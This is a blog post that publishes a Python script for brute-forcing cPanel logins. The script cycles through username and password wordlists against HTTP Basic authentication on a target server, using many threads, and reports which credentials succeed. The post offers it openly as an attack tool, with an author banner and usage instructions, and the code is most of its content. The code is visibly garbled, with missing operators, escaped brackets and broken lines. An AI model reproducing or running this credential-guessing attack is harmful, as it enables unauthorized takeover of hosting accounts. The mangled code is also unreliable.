Smiley face
Smiley face

Friday, April 11, 2014

Python Cpanel Brute Forcer

Python Cpanel Brute Forcer
OS :- Linux - Windows


#!/usr/bin/python
import time,random,base64,sys,threading,urllib2,httplib
from copy import copy

def stoker
():
  print 
'''
  +-+-+-+-+-+-+ +-+-+-+-+-+
  |C|p|a|n|e|l| |B|r|u|t|e|
  +-+-+-+-+-+-+ +-+-+-+-+-+

  ***91;!***93; Python Cpanel Brute Forcer
  ***91;!***93; Author : Muhammad Adeel aka Innoxent Stoker
  ***91;!***93; Mail: jutthaxor@gmail.com
  ***91;!***93; usage :  ./script.py server port user.txt pass.txt
  '''
   
def timer():
    
now time.localtime(time.time())
    return 
time.asctime(now)
if 
len(sys.argv) !=5:
    
stoker()
    
sys.exit(1)
try:
      
users open(sys.argv***91;3***93;, "r").readlines() except(IOError): 
      print 
"***91;****93;Error, Check Users List Path.\n"
      
sys.exit(1)
try:
      
passwd open(sys.argv***91;4***93;, "r").readlines() except(IOError): 
      print 
"***91;****93;Error, Check your Password list path.\n"
      
sys.exit(1)
passlist copy(passwd)
def reloader():
    for 
word in passlist:
        
passwd.append(worddef getpw():
    
lock threading.Lock()
    
lock.acquire()
    if 
len(passwd) != 0:
        
value random.sample(passwd,  1)
        
passwd.remove(value***91;0***93;)        
    else:
        print 
"\n***91;****93;PathList Reloading ~ changing User..\n"
        
reloader()
        
value random.sample(passwd,  1)
        
users.remove(users***91;0***93;)
        
    
lock.release()
    if 
len(users) ==1:
        return 
users***91;0***93;, value***91;0***93;***91;:-1***93;
    else:
        return 
users***91;0***93;***91;:-1***93;, value***91;0***93;***91;:-1***93;  def anonghost(url):
    
    
req urllib2.Request(url)
    try:
            
handle urllib2.urlopen(req)
    
except IOErrore:               
            
pass
    
else:                               
            print 
"***91;****93;Cannot Open the Page.\n"
            
sys.exit(1)
   
    if 
not hasattr(e'code') or e.code != 401:                 
            print 
"\n***91;****93;An Error Occured while Loading Page."
            
sys.exit(1)

    
authline e.headers.get('www-authenticate''')    
          
    if 
not authline:
            print 
'\n***91;****93;Basic authentication Header not found.\n'
            
sys.exit(1)
    else:
        return 
authline class pakistani(threading.Thread):
    
def run(self):
        
usernamepassword getpw()
        try:
            print 
"-"*12
            
print "UserName: ",username,"Password: ",password
            auth_handler 
urllib2.HTTPBasicAuthHandler()
            
auth_handler.add_password("cPanel"serverbase64encodestring(username)***91;:-1***93;, base64encodestring(password)***91;:-1***93;)
            
opener urllib2.build_opener(auth_handler)
            
urllib2.install_opener(opener)
            
urllib2.urlopen(server)
            print 
"\t\n\nUsername: ",username,"Password: ",password,"-- Logged in Successfully."            
        
except (urllib2.HTTPErrorhttplib.BadStatusLine), msg
            print 
"An error occurred: "msg
            pass
        
stoker
()
if 
sys.argv***91;1***93;***91;-1***93; == "/":
    
sys.argv***91;1***93; = sys.argv***91;1***93;***91;:-1***93;  server sys.argv***91;1***93;+":2082" if sys.argv***91;2***93;.isdigit() == False:
    print 
"***91;****93; Port should be a number\n"
    
sys.exit(1)
else:
    
port sys.argv***91;2***93; 
if 
sys.argv***91;1***93;***91;-1***93; == "/":
    
sys.argv***91;1***93; = sys.argv***91;1***93;***91;:-1***93;  server sys.argv***91;1***93;+":"+port
print "***91;!***93; Server: ",server,"***91;!***93; Port: ",port  print "***91;!***93; Usernames Loaded: ",len(users),"***91;!***93; PassWords Loaded: ",len(passwd)
print 
"***91;!***93;",anonghost(server), "***91;!***93; Started ",timer(),"\n"
for i in range(len(passwd)*len(users)):
    
work pakistani()
    
work.setDaemon(1)
    
work.start()
    
time.sleep(1)
print 
"\n***91;!***93; Job Finished -",timer(),"\n"  



0 Comments:

Post a Comment

Smiley face
Smiley face